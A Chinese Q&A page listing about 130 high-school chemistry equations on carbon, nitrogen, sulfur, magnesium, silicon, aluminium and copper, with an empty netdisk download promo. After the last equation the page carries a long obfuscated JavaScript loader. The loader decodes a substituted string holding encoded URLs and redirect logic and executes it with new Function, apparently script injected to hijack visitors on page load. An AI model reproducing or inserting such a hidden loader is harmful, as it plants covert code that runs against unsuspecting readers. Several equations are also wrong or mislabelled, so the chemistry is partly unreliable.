高中化学必修一第二章所有的方程式
包括习题`求高手!
推荐回答(2个)
高中化学合集百度网盘下载
链接:
提取码:1234
简介:高中化学优质资料下载,包括:试题试卷、课件、教材、视频、各大名师网校合集。
1.碳与氧气(不足)的反应2C+O2==== 2CO
碳与氧气(充足)的反应C+O2==== CO2
2.一氧化碳与氧气的反应2CO+O2==== 2CO2
3.二氧化碳与碳的反应CO2+C==== 2CO
4.碳酸氢钠与盐酸的反应NaHCO3+HCl==== NaCl+H2O+CO2↑
5.碳酸钠与盐酸的反应Na2CO3+ 2HCl==== 2NaCl+ H2O+ CO2↑
6.碳酸钙与盐酸的反应CaCO3+2HCl==== CaCl2+ H2O+ CO2↑
7.碳酸氢钠与氢氧化钠的反应NaHCO3+NaOH==== Na2CO3 +H2O
8.碳酸钠与氢氧化钙的反应Na2CO3+Ca(OH)2==== CaCO3↓+ 2NaOH
9.碳酸氢钠(少量)与氢氧化钙的反应NaHCO3+ Ca(OH)2==== CaCO3↓+NaOH+ H2O
碳酸氢钠(过量)与氢氧化钙的反应2NaHCO3+ Ca(OH)2==== CaCO3↓+Na2CO3+2H2O
10.碳酸氢钠加热的反应2NaHCO3==== Na2CO3+ H2O+CO2↑
11.碳酸氢钙加热的反应Ca(HCO3)2==== CaCO3↓+H2O+CO2↑
12.碳酸钙加热的反应CaCO3==== CaO+CO2↑
13.二氧化碳(过量)通入氢氧化钙溶液中的反应Ca(OH)2+2CO2==== Ca(HCO3)2
二氧化碳(少量)通入氢氧化钙溶液中的反应Ca(OH)2+CO2==== CaCO3↓+H2O
14.氮气与氧气的反应N2+O2==== 2NO
15.一氧化氮与氧气的反应2NO+O2==== 2NO2
16.二氧化氮与水的反应3NO2+ H2O==== 2HNO3+ NO
17.氮气与氢气的反应N2+3H2========= 2NH3
18.氨气与水的反应NH3+H2O==== NH3?H2O
19.氨气与盐酸的反应NH3+HCl==== NH4Cl
20.氨气与硫酸的反应2NH3+H2SO4==== (NH4)2SO4
21.氨气与强酸的离子的反应NH3+H+==== NH4+
22.氨的催化氧化的反应4NH3+5O2====== 4NO+6H2O
23.碳酸氢铵加热的反应NH4HCO3==== NH3↑+CO2↑+H2O
24.氯化铵加热的反应NH4Cl==== NH3↑+HCl↑
25.碳酸铵加热的反应(NH4)2CO3==== 2NH3↑+CO2↑+H2O
26.氯化铵与氢氧化钙的反应2NH4Cl+ Ca(OH)2==== CaCl2+2NH3↑+2H2O
27.氯化铵与氢氧化钠的反应NH4Cl+ NaOH==== NaCl+NH3↑+H2O
28.碳酸氢铵与氢氧化钠的反应NH4HCO3+2NaOH==== Na2CO3+NH3↑+2H2O
29.碳酸氢铵与氢氧化钙的反应NH4HCO3+Ca(OH)2==== CaCO3↓+NH3↑+2H2O
30.硝酸的分解的反应4HNO3========= 4NO2↑+O2↑+2H2O
31.铜与浓硝酸的反应Cu+4HNO3(浓)==== Cu(NO3)2+2NO2↑+2H2O
32.铜与稀硝酸的反应3Cu+8HNO3(稀)==== 3Cu(NO3)2+2NO↑+4H2O
33.铁与浓硝酸的反应Fe+6HNO3(浓)==== Fe(NO3)3+3NO2↑+3H2O
34.铁与稀硝酸的反应Fe+4HNO3(稀)==== Fe(NO3)3+NO↑+2H2O
35.碳与浓硝酸的反应C+4HNO3(浓)==== CO2↑+4NO2↑+2H2O
36.一氧化氮与一氧化碳的反应2NO+2CO====== N2+2CO2
37.一氧化氮与氧气和水的反应4NO+3O2+2H2O==== 4HNO3
38.二氧化氮与氧气和水的反应4NO2+O2+2H2O==== 4HNO3
39.氢氧化钠吸收二氧化氮和一氧化氮的反应2NaOH+NO2+NO==== 2NaNO2+ H2O
40.氨气(过量)与氯气的反应8NH3+3Cl2==== 6NH4Cl+N2
氨气(少量)与氯气的反应2NH3+3Cl2==== 6HCl+N2
41.二氧化氮生成四氧化二氮的反应2NO2==== N2O4
42.硫与铜的反应S+2Cu==== Cu2S
43.硫与铁的反应S+Fe==== FeS
44.硫与钠的反应S+2Na==== Na2S
45.硫与铝的反应3S+2Al==== Al2S3
46.硫与汞的反应S+Hg==== HgS
47.硫与氧气的反应S+O2==== SO2
48.硫与氢气的反应S+H2==== H2S
49.硫与氢氧化钠的反应3S+6NaOH==== 2Na2S+Na2SO3+3H2O
50.硫与浓硫酸的反应 S+2H2SO4(浓)==== 3SO2+2H2O
51.黑火药点燃S+2KNO3+3C==== K2S+3CO2↑+N2↑
52.二氧化硫(少量)与氢氧化钠的反应SO2+2NaOH==== Na2SO3+H2O
二氧化硫(过量)与氢氧化钠的反应SO2+NaOH==== NaHSO3
53.二氧化硫与氢氧化钙的反应SO2+Ca(OH)2==== CaSO3↓+H2O
54.二氧化硫与亚硫酸钙溶液的反应SO2+CaSO3+H2O ==== Ca(HSO3)2
55.二氧化硫与水的反应SO2+H2O==== H2SO3
56.二氧化硫与硫化氢的反应SO2+2H2S==== 3S↓+2H2O
57.二氧化硫与氧气的反应2SO2+O2====== 2SO3
58.二氧化硫与过氧化钠的反应SO2+Na2O2==== Na2SO4
59.二氧化硫与氯水的反应SO2+ Cl2+2H2O==== H2SO4+2HCl
60.三氧化硫与水的反应SO3+H2O==== H2SO4
61.亚硫酸与氧气的反应2H2SO3+O2==== 2H2SO4
62.亚硫酸钠与氧气的反应2Na2SO3+O2==== 2Na2SO4
63.浓硫酸与铜的反应 2H2SO4(浓)+Cu==== CuSO4+SO2↑+2H2O
64.浓硫酸与碳的反应 2H2SO4(浓)+C==== CO2↑+2SO2↑+2H2O寿
65.工业制备硫酸(初步) 4FeS2+11O2==== 8SO2+2Fe2O3
66.实验室制备硫酸(初步) Na2SO3+H2SO4(浓)==== Na2SO4+SO2↑+H2O
67.硫化氢(少量)与氢氧化钠的反应H2S+2NaOH==== Na2S+2H2O
硫化氢(过量)与氢氧化钠的反应H2S+NaOH==== NaHS+H2O
68.硫化氢(少量)与氨气的反应H2S+2NH3==== (NH4)2S
硫化氢(过量)与氨气的反应H2S+NH3==== NH4HS
69.硫化氢与氧气(不足)的反应2H2S+O2==== 2S↓+2H2O 2H2S+O2==== 2S+2H2O
硫化氢与氧气(充足)的反应2H2S+3O2==== 2SO2+2H2O
70.硫化氢与氯气的反应H2S+Cl2==== 2HCl+S↓
71.硫化氢与浓硫酸的反应 H2S+H2SO4(浓)==== S↓+SO2↑+2H2O
72.硫化氢的制备FeS+H2SO4==== FeSO4+H2S↑
73.电解饱和食盐水(氯碱工业) 2NaCl+2H2O==== 2NaOH+H2↑+Cl2↑
74.电解熔融状态氯化钠(制单质钠) 2NaCl==== 2Na+Cl2↑
75.海水制镁(1) CaCO3==== CaO+CO2
(2) CaO+H2O==== Ca(OH)2
(3) Mg2++2OH2-==== Mg(OH)2↓
(4) Mg(OH)2+2HCl==== MgCl2+2H2O
(5) MgCl2==== Mg+Cl2↑
76.镁在空气中燃烧(与氧气的反应) 2Mg+O2==== 2MgO
(与氮气的反应) 3Mg+N2==== Mg3N2
(与二氧化碳的反应) 2Mg+CO2==== 2MgO+C
77.镁与氯气的反应Mg+Cl2==== MgCl2
78.镁与水的反应Mg+2H2O==== Mg(OH)2+H2↑
79.镁与盐酸的反应Mg+2HCl==== MgCl2+H2↑
80.镁与氢离子的反应Mg+2H+==== Mg2++H2↑
81.二氮化三镁与水的反应Mg3N2+6H2O==== 3Mg(OH)2↓+2NH3↑
82.镁与溴水的反应(颜色退去) Mg+Br2==== MgBr2
(产生气泡) Mg+2HBr==== MgBr2+H2↑
83.溴与水的反应Br2+H2O==== HBr+HBrO
84.溴与氢氧化钠的反应Br2+2NaOH==== NaBr+NaBrO+H2O
85.溴与氢气的反应Br2+H2==== 2HBr
86.溴与铁的反应3Br2+2Fe==== 2FeBr3
87.碘与铁的反应I2+Fe==== FeI2
88.溴与碘化钾的反应Br2+2KI==== 2KBr+I2
89.氯气与溴化钾的反应2KBr+Cl2==== 2KCl+Br2
第四章
90.硅与氧气的反应Si+O2==== SiO2
91.硅与氯气的反应Si+2Cl2==== SiCl4
92.硅与氢气的反应Si+2H2===== SiH4
93.二氧化硅与氟的反应Si+2F2==== SiF4
94.硅与碳的反应Si+C==== SiC
95.硅与氢氧化钠溶液的反应Si+2NaOH+H2O==== Na2SiO3+2H2↑
96.硅与氢氟酸的反应Si+4HF==== SiF4+2H2↑
97.单质硅的制备(1.制备)SiO2+2C==== Si+2CO
(2.提纯)Si+2Cl2==== SiCl4
(3.提纯)SiCl4+2H2==== Si+4HCl
98.二氧化硅与氢氧化钠的反应SiO2+2NaOH==== Na2SiO3+H2O
99.二氧化硅与氧化钠的反应SiO2+Na2O==== Na2SiO3
100.二氧化硅与碳酸钠的反应SiO2+Na2CO3==== Na2SiO3+ CO2↑
101.二氧化硅与氧化钙的反应SiO2+CaO==== CaSiO3
102.二氧化硅与碳酸钙的反应SiO2+CaCO3==== CaSiO3+CO2↑
103.二氧化硅与氢氟酸的反应SiO2+4HF==== SiF4+2H2O
104.硅酸的制备Na2SiO3+ CO2+H2O==== H2SiO3↓+ Na2CO3
105.硅酸加热分解H2SiO3==== SiO2+H2O
106.铝与氧气的反应4Al+3O2==== 2Al2O3
107.铝与氯气的反应2Al+3Cl2==== 2AlCl3
108.铝与盐酸的反应2Al+6HCl==== 2AlCl3+3H2↑
109.铝与氢氧化钠的反应2Al+2NaOH+6H2O==== 2Na[Al(OH)4]+3H2↑
110.铝与水的反应2Al+6H2O==== 2Al(OH)3+3H2↑
111.铝与三氧化二铁的反应(铝热反应)2Al+Fe2O3==== 2Fe+Al2O3
112.铝与二氧化锰的反应(铝热反应)4Al+3MnO2==== 3Mn+2AlO3
113.氧化铝与盐酸的反应Al2O3+6HCl==== 2AlCl3+3H2O
114.氧化铝与氢氧化钠的反应Al2O3+2NaOH+3H2O==== 2Na[Al(OH)4]
115.电解氧化铝2Al2O3==== 4Al+3O2↑
116.硫酸与与一水合氨的反应Al2(SO4)3+6NH3?H2O==== 2Al(OH)3↓+3(NH4)2SO4
117.氯化铝与一水合氨的反应AlCl3+3NH3?H2O==== Al(OH)3↓+3NH4Cl
118.氯化铝与氢氧化钠(少量)的反应AlCl3+3NaOH==== Al(OH)3↓+3NaCl
119.氢氧化铝与氢氧化钠的反应Al(OH)3+NaOH==== Na[Al(OH)4]
120.氯化铝与氢氧化钠(过量)的反应AlCl3+4NaOH==== Na[Al(OH)4]+3NaCl
121.四羟基合氯酸钠与盐酸(少量)的反应Na[Al(OH)4]+HCl==== Al(OH)3↓+NaCl+H2O
122.氢氧化铝与盐酸的反应Al(OH)3+3HCl==== AlCl3+3H2O
123.四羟基合氯酸钠与盐酸(过量)的反应Na[Al(OH)4]+4HCl==== AlCl3+NaCl+4H2O
124.四羟基合氯酸钠与氯化铝的反应3Na[Al(OH)4]+AlCl3==== 4Al(OH)3↓+3NaCl
125.向四羟基合氯酸钠中通入过量二氧化碳Na[Al(OH)4]+CO2==== Al(OH)3↓+NaHCO3
126.铜在潮湿空气中被腐蚀2Cu+O2+H2O+CO2==== Cu2(OH)2CO3
127.铜与氧气的反应2Cu+O2==== 2CuO
128.铜与氯气的反应Cu+Cl2==== CuCl2
129.铜氧化在高温下转化4CuO==== 2Cu2O+O2↑
130.硫酸铜与水的反应CuSO4+5H2O==== CuSO4?5H2O
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();